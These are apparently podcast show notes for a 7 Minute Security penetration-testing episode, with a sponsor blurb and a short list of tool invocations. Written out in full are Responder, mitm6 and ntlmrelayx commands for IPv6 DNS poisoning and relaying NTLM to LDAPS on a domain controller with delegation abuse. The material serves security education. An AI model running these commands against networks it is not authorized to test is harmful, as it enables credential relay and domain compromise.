Dec 24, 2022
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
Today's tale of pentest pwnage covers some of the following attacks/tools:
Responder.py
-I eth0 -A will analyze traffic
but not poison itmitm6.py -i eth0 -d mydomain.com --no-ra
--ignore-nofqdn and then in another window I
do ntlmrelayx.py -6 -wh doesntexist -t
ldaps://ip.of.the.dc -smb2support --delegate-access >
relaysRphun.log - that way I always have a log of
everything happening during the mitm6 attack